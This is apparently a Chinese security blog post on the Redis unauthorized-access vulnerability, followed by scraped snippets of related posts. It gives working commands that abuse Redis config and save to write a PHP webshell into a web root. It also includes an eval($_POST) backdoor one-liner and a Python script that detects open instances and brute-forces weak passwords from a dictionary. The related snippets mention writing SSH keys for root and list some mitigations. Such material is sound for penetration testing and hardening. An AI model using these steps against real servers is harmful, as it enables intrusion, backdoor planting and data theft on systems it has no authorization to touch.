Redis 未授权访问漏洞(附Python脚本)

0x01 环境搭建

#下载并安装
cd /tmp
wget http://download.redis.io/releases/redis-2.8.17.tar.gz
tar xzf redis-2.8.17.tar.gz
cd redis-2.8.17
make
#启动redis服务
cd src
./redis-server

启动redis服务进程后,就可以使用测试客户端程序redis-cli和redis服务交互了。 比如:

[email protected]:/tmp/redis-2.8.17/src# ./redis-cli -h 192.168.125.140
192.168.125.140:6379> ping
PONG
192.168.125.140:6379>

0x02 未授权访问漏洞测试

使用redis客户端直接无账号成功登录redis:

从登录的结果可以看出该redis服务对公网开放,且未启用认证。

利用redis写webshell

利用前提:

1.redis未授权 能redis-cli连上

2.开了web并且知道路径(如利用phpinfo)

我们可以将dir设置为一个目录a,而dbfilename为文件名b,再执行save或bgsave,则我们就可以写入一个路径为a/b的任意文件:

config set dir /home/wwwroot/default/
config set dbfilename redis.php
set webshell "<?php phpinfo(); ?>"
save

当数据库过大时,redis写shell的小技巧:

<?php set_time_limit(0);$fp=fopen(‘wtf.php‘,‘w‘);fwrite($fp,‘<?php @eval($_POST[\"mmbns233\"]);?>‘);exit();?>

0x03 Pyhton脚本自动化测试

可用来测试是否存在未授权或弱口令的情况

#! /usr/bin/env python
# _*_  coding:utf-8 _*_
import socket
PASSWORD_DIC=[‘redis‘,‘root‘,‘oracle‘,‘password‘,‘[email protected]‘,‘abc123!‘,‘123456‘,‘admin‘]
def check(ip, port, timeout):
    try:
        socket.setdefaulttimeout(timeout)
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((ip, int(port)))
        s.send("INFO\r\n")
        result = s.recv(1024)
        if "redis_version" in result:
            return u"未授权访问"
        elif "Authentication" in result:
            for pass_ in PASSWORD_DIC:
                s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                s.connect((ip, int(port)))
                s.send("AUTH %s\r\n" %(pass_))
                result = s.recv(1024)
                if ‘+OK‘ in result:
                    return u"存在弱口令,密码:%s" % (pass_)
    except Exception, e:
        pass

print check("192.168.125.140", "6379", timeout=10)

参考文章:

Redis 安装 http://www.runoob.com/redis/redis-install.html

Redis未授权访问漏洞  http://blog.csdn.net/Hu_wen/article/details/55189777?locationNum=15&fps=1

时间: 2024-08-28 07:44:48

Redis 未授权访问漏洞(附Python脚本)的相关文章

Redis未授权访问漏洞的利用及防护

Redis未授权访问漏洞的利用及防护 什么是Redis未授权访问漏洞? Redis在默认情况下,会绑定在0.0.0.0:6379.如果没有采取相关的安全策略,比如添加防火墙规则.避免其他非信任来源IP访问等,这样会使Redis服务完全暴露在公网上.如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在访问目标服务器时,可以在未授权的情况下访问Redis以及读取Redis的数据.攻击者在未授权访问Redis的情况下,利用Redis自身的提供的config命令,可以进行文件的读写等操作.攻击者

docker搭建redis未授权访问漏洞环境

这是redis未授权访问漏洞环境,可以使用该环境练习重置/etc/passwd文件从而重置root密码 环境我已经搭好放在了docker hub 可以使用命令docker search ju5ton1y来搜索该镜像 构建好容器之后需进入容器对ssh服务重启 /etc/init.d/ssh restart Dockerfile如下: #Redis is not authorized to access # Base image to use, this nust be set as the fir

修补--Redis未授权访问漏洞

--------------------------------阿里云解决方案----------------------------------- 一.漏洞描述 Redis因配置不当可以导致未授权访问,被攻击者恶意利用.当前流行的针对Redis未授权访问的一种新型攻击方式,在特定条件下,如果Redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器,可导致服务器权限被获取和数据删除.泄露或加密勒索事件发生,严重危害业务正常服务. 二.Redis安全漏洞

Redis未授权访问漏洞分析

catalog 1. Redis简介 2. 漏洞概述 3. 漏洞利用方式 4. 修复方式 1. Redis简介 Relevant Link: http://www.cnblogs.com/LittleHann/p/3901588.html 2. 漏洞概述 Redis 默认情况下,会绑定在 0.0.0.0:6379,这样将会将 Redis 服务暴露到公网上,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据.攻击者在未授权访

Redis未授权访问漏洞

一.漏洞描述和危害 Redis因配置不当可以未授权访问,被攻击者恶意利用.攻击者无需认证访问到内部数据,可能导致敏感信息泄露,黑客也可以恶意执行flushall来清空所有数据. 攻击者可通过EVAL执行lua代码,或通过数据备份功能往磁盘写入后门文件,如果Redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器. 二.已确认被成功利用的软件及系统   对公网开放,且未启用认证的redis服务器. 三.建议修复方案 1.指定redis服务使用的网卡 (需

Redis未授权访问漏洞复现

漏洞复现 攻击机 kali  ip:192.168.70.140 靶机 Ubuntu 16.04   ip:192.168.70.133 一.环境搭建 1.下载安装redis wgethttp://download.redis.io/releases/redis-3.2.11.tar.gz 2. 解压压缩包 tarzxvfredis-3.2.11.tar.gz. 3.进入解压目录redis-3.2.11 执行make命令 4. 进入src目录 cd redis-3.2.11/src 5.将red

关于Redis未授权访问漏洞被植入挖矿程序

1.由于安装低版本的redis,默认绑定在 0.0.0.0:6379,会将Redis服务暴露到公网上,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据2.此时服务公网端口被扫描到,植入挖矿程序,使用top命令可以看到cpu使用率被占满,把它kill掉cpu使用率马上就下降了,但是不一会cpu使用率又上了3.这种情况打开crontab -l 可以看到有一条被植入的定时任务或者一般也会在写在定时文件里/var/spool/cron,

Redis 未授权访问漏洞

公司的服务器被扫出redis相关漏洞,未授权的访问漏洞!就是应为没有设置密码,所以被扫描出漏洞,设置个密码就完事修改配置文件Redis的配置文件默认在/etc/redis.conf,找到如下行: #requirepass foobared去掉前面的注释,并修改为所需要的密码: requirepass myPassword (其中myPassword就是要设置的密码) 重启Redis如果Redis已经配置为service服务,可以通过以下方式重启: service redis restart如果R

redis 未授权访问漏洞和防范

通过nmap扫描开放redis 6379端口 本机安装redis客户端,能连接远端redis数据库:(redis-cli) 本机创建私钥和公钥,ssh-keygen -t rsa 一路回车:会在/root/.ssh/下生成私钥文件id_rsa和公钥id_rsa.pub redis-cli -h 192.168.3.14 链接远程redis数据库 [[email protected] bin]# ./redis-cli -h 192.168.3.14 192.168.3.14:6379> keys